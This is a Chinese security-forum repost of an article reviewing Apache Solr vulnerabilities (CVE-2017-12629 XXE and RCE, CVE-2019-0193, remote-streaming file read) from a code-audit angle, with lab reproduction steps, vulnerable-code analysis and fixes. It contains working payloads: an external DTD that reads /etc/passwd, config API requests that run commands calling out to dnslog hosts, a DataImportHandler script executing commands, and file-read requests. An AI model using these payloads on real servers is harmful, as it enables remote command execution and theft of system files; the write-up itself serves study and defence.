安全矩阵

 找回密码
 立即注册
搜索
查看: 2527|回复: 0

代码审计角度之solr漏洞小结

[复制链接]

181

主题

182

帖子

721

积分

高级会员

Rank: 4

积分
721
发表于 2022-4-7 17:49:19 | 显示全部楼层 |阅读模式
代码审计角度之solr漏洞小结
原创 milkii0 雷神众测

2022-04-07 15:10

转载自https://mp.weixin.qq.com/s?__biz=MzI0NzEwOTM0MA==&mid=2652496565&idx=1&sn=404edf169553620fffc88f53f801c5c4&chksm=f2584106c52fc810518e6ba9fbc98ef2fdaed94824891214d696531bec88eace73befd9e0f9b&mpshare=1&scene=23&srcid=0407AuqwheBs1cJJZpfLKamb&sharer_sharetime=1649315899223&sharer_shareid=ee83a55e0b955b99e8343acbb61916b7#rd

STATEMENT
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,
不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。


前言
Solr 是开源的,基于 Lucene Java 的搜索服务器。
易于加入到 Web 应用程序中,会生成基于HTTP 的管理界面。
后台管理界面Dashboard仪表盘中,可查看当前Solr的版本信息。

CVE-2017-12629-XXE
影响版本
Apache Solr < 7.1
Apache Lucene < 7.1
复现过程
启动环境后打开管理界面:
http://192.168.77.128:8983/solr/# /
solr-spec版本:7.0.1,lucene-spec版本:7.0.1,符合漏洞要求

利用外部实体读取敏感文件信息
1.开一个web服务,在下面创建一个1.dtd文件,文件内容如下
  1. <!ENTITY % file SYSTEM "file:///etc/passwd">
  2. <!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">
复制代码

2读取Linux下/etc/passwd文件信息,引用外部实体。

payload:
  1. http://192.168.77.128:8983/solr/demo/select?&q=%3C%3fxml+version%3d%221.0%22+%3f%3E%3C!DOCTYPE+root%5b%3C!ENTITY+%25+ext+SYSTEM+%22http%3a%2f%2f192.168.77.128%2f1.dtd%22%3E%25
复制代码


URL解码后:
  1. http://192.168.77.128:8983/solr/demo/select?&q=<?xml+version="1.0"+?><!DOCTYPE+root[<!ENTITY+%+ext+SYSTEM+"http://192.168.77.128/1.dtd">%ext;%ent;]><r>&data;</r>&wt=xml&defType=xmlparser
复制代码



本地DTD读取文件:
https://zhuanlan.zhihu.com/p/83713259
漏洞原理:
Lucene包含了一个查询解析器支持XML格式进行数据查询,并且解析xml数据时,未设置任何防御措施,导致我们可引入任意恶意外部实体
而Solr由于使用Lucenne作为核心语义分析引擎,因此受到影响
漏洞点:
  1. org.apache.lucene.queryparser.xml.CoreParser#parseXML
复制代码


此处为解析xml数据的方法,其中并未包含任何xxe防御措施
因此可正常解析我们引入的恶意外部实体​
  1. static Document parseXML(InputStream pXmlFile) throws ParserException {
  2. DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
  3. DocumentBuilder db = null;
  4. try {
  5. db = dbf.newDocumentBuilder();
  6. }
  7. catch (Exception se) {
  8. throw new ParserException("XML Parser configuration error", se);
  9. }
  10. org.w3c.dom.Document doc = null;
  11. try {
  12. doc = db.parse(pXmlFile);
  13. }
  14. catch (Exception se) {
  15. throw new ParserException("Error parsing XML stream:" + se, se);
  16. }
  17. return doc;
  18. }
复制代码
漏洞修复:
官方修复是增加XXE通用防御,这也是我们常用的xxe修复方法
  1. DocumentBuilderFactory.setFearture("http://javax.xml.XMLConstants/feature/secure-processing")
复制代码


以下列出一些通过设置解析器行为,达到对xee进行限制的方法​​​​​​​
  1. // 这是优先选择. 如果不允许DTDs (doctypes) ,几乎可以阻止所有的XML实体攻击
  2. setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
  3. // 如果不能完全禁用DTDs,最少采取以下措施,必须两项同时存在
  4. setFeature("http://xml.org/sax/features/external-general-entities", false);// 防止外部实体POC
  5. setFeature("http://xml.org/sax/features/external-parameter-entities", false);// 防止参数实体POC
复制代码


CVE-2017-12629-RCE
影响版本
Apache Solr < 7.1
Apache Lucene < 7.1
复现过程
触发命令执行的事件有两种:postCommit 和 newSearcher
使用newSearcher
其中demo为存在的core名称
数据包:​​​​​​​
  1. POST /solr/demo/config HTTP/1.1
  2. Host: 192.168.77.128:8983
  3. Connection: close
  4. Content-Type: application/json
  5. Content-Length: 178
  6. {
  7. "add-listener" : {
  8. "event":"newSearcher",
  9. "name":"newlistener1",
  10. "class":"solr.RunExecutableListener",
  11. "exe":"ping",
  12. "dir":"/usr/bin/",
  13. "args":["3pqsrm.dnslog.cn"]
  14. }
  15. }
复制代码



使用postCommit
数据包1:​​​​​​​
  1. POST /solr/demo/config HTTP/1.1
  2. Host: 192.168.77.128:8983
  3. Connection: close
  4. Content-Type: application/json
  5. Content-Length: 177
  6. {
  7. "add-listener" : {
  8. "event":"postCommit",
  9. "name":"newlistener3",
  10. "class":"solr.RunExecutableListener",
  11. "exe":"ping",
  12. "dir":"/usr/bin/",
  13. "args":["3pqsrm.dnslog.cn"]
  14. }
  15. }
复制代码

发送该请求后一直没有返回数据,取消重发会回显该name已经存在,所以发送第二个数据包

数据包2(数据随便输):​​​​​​​

  1. POST /solr/demo/update HTTP/1.1
  2. Host: 192.168.77.128:8983
  3. Connection: close
  4. Content-Type: application/json
  5. Content-Length: 17
  6. [{"id":"test"
  7. }]
复制代码


更新后发现两条记录都在(之前因为没有返回数据又试了一次)

漏洞原理
RCE需要使用到SolrCloud Collections API,所以RCE只影响Solrcloud分布式系统
漏洞点:
  1. org.apache.solr.core.RunExecutableListener# exec
复制代码



我们看见一下这行代码执行了命令,并传入了三个参数
  1. proc = Runtime.getRuntime().exec(cmd, envp ,dir);
复制代码


查看API
cmdarray:命令字符串
envp:代表“环境”变量设置,如果envp是null ,则子进程继承当前进程的环境设置
dir:新子进程的工作目录由dir指定 。如果dir是null ,则子进程继承当前进程的当前工作目录。

那么我们怎么才能控制以上这三个参数呢?
在初始化时,通过初始化传入的参数args
分别获得这三个参数cmd,dir,envp

找到调用exec()的有两处​​​​​​​
  1. <pre><code>org.apache.solr.core.RunExecutableListener# postCommit</code></pre><pre><code>org.apache.solr.core.RunExecutableListener# newSearcher</code></pre>
复制代码


因此我们可以config API调用以上两个命令执行命令
关于config API更多信息可查看传送门中放置的官网链接

漏洞修复
官方修复直接将该类删除
CVE-2019-0193
影响版本
Apache solr < 8.2.0
复现过程
在Apache solr的可选模块DatalmportHandler中的DIH配置是可以包含脚本,因此存在安全隐患,在apache solr < 8.2.0版本之前DIH配置中dataconfig可以被用户控制
vulhub环境下,进入后会让我们新建一个core

我们需要在服务器中新建,这里新建会报错找不到配置文件
新建test core命令
  1. docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db
复制代码



刷新页面即可看见新建的core
根据以下步骤进行代码执行

exp:​​​​​​​
  1. <dataConfig>
  2. <dataSource type="URLDataSource"/>
  3. <script><![CDATA[
  4. function poc(){ java.lang.Runtime.getRuntime().exec("ping 0ytihf.dnslog.cn");
  5. }
  6. ]]></script>
  7. <document>
  8. <entity name="stackoverflow"
  9. url="https://stackoverflow.com/feeds/tag/solr"
  10. processor="XPathEntityProcessor"
  11. forEach="/feed"
  12. transformer="script:poc" />
  13. </document>
  14. </dataConfig
复制代码

执行成功后,上方会出现绿色修勾勾

命令执行成功

漏洞原理
DataImportHandler 是一个可选但流行的模块,用于从数据库和其他来源提取数据。它有一个特性,即整个
DIH(the Data Import Handler,数据导入处理程序) 配置可以来自请求的dataConfig参数
DIH 管理屏幕的调试模式使用它来方便 DIH 配置的调试/开发。因为 DIH 配置可以包含脚本,并未对脚本进行任何过滤检测,所以这个参数存在安全风险
从 Solr 的8.2.0版本开始,使用这个参数需要将 Java System 属性 enable.dih.dataConfigParam 设置为 true,此时也将存在该漏洞
DHI和script官方文档链接放在传送门中
我们可以根据官方文档的说明,插入脚本并执行,其中entity标签支持jndi以及script

漏洞点:
  1. <pre><code>org.apache.solr.handler.dataimport.DataImportHandler</code></pre><pre><code>其中handleRequestBody()函数接收了前端传入的dataConfig</code></pre>
复制代码


后面就不再分析了,因为这个漏洞是solr该模块允许执行脚本,官方文档中也描述了该模块以及脚本的使用

漏洞修复
官方修复增加enable.dih.dataConfigParam参数,默认=false,仅在启动solr时带上参数enable.dih.dataConfigParam=true才可启动debug模式

Remote-Streaming-Fileread(任意文件读取)
复现过程
1.获取cores

  1. GET /solr/admin/cores?_=1637649371526&show=schema&wt=json HTTP/1.1
  2. Host: 192.168.8.128:8983
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
  4. Accept: application/json, text/plain, */*
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Accept-Encoding: gzip, deflate
  7. Referer: http://192.168.8.128:8983/solr/
  8. X-Requested-With: XMLHttpRequest
  9. DNT: 1
  10. Connection: close
复制代码

存在的core名为demo

2. 修改demo的配置,开启RemoteStreaming
  1. POST /solr/demo/config?_=1637649371526&show=schema&wt=json HTTP/1.1
  2. Host: 192.168.8.128:8983
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
  4. Accept: application/json, text/plain, */*
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Accept-Encoding: gzip, deflate
  7. Referer: http://192.168.8.128:8983/solr/
  8. X-Requested-With: XMLHttpRequest
  9. DNT: 1
  10. Connection: close
  11. Content-Length: 82

  12. {"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
复制代码

当出现以下信息时,表示漏洞可能存在:
This response format is experimental. It is likely to change in the future

3.读取敏感文件
数据包:
  1. GET /solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd HTTP/1.1
  2. Host: 192.168.8.128:8983
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
  4. Accept: application/json, text/plain, */*
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Accept-Encoding: gzip, deflate
  7. Referer: http://192.168.8.128:8983/solr/
  8. X-Requested-With: XMLHttpRequest
  9. DNT: 1
  10. Connection: close
  11. Content-Length: 0
复制代码

读取成功

漏洞原理
官方文档中写明,
solrconfig.xml中enableRemoteStreaming="true"时允许远程流


因此我们可以通过config API,启用远程读取流
enableRemoteStreaming = “true”,将允许任何人向任何 URL 或本地文件发送请求
DumpRequestHandler = “true”,它将允许任何人查看系统上的任何文件。
漏洞点:
  1. solr/core/src/java/org/apache/solr/servlet/SolrRequestParsers.java
复制代码



其中通过以下代码获取前端传入数据
  1. strs = params.getParams( CommonParams.STREAM_FILE );
复制代码


在进行文件获取时,未对传入的strs进行任何检测和过滤,并生成stream
  1. GET /solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd HTTP/1.1
  2. Host: 192.168.8.128:8983
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
  4. Accept: application/json, text/plain, */*
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Accept-Encoding: gzip, deflate
  7. Referer: http://192.168.8.128:8983/solr/
  8. X-Requested-With: XMLHttpRequest
  9. DNT: 1
  10. Connection: close
  11. Content-Length: 0
复制代码

在solr/solrj/src/java/org/apache/solr/common/params/CommonParams.java中,写明了stream.file即为传入的CommonParams.STREAM_FILE


其中若传入url可导致ssrf,原理同上

漏洞修复
1. 控制solr访问权限,增加访问口令
2. 不对外网开放solr
3. 关闭ConfigAPI:在bin目录下的solr.in.cmd中加入一行set SOLR_OPTS=%SOLR_OPTS% -Ddisable.configEdit=true;然后关闭远程读取文件流,默认不开启

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-30 14:38 , Processed in 0.014098 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表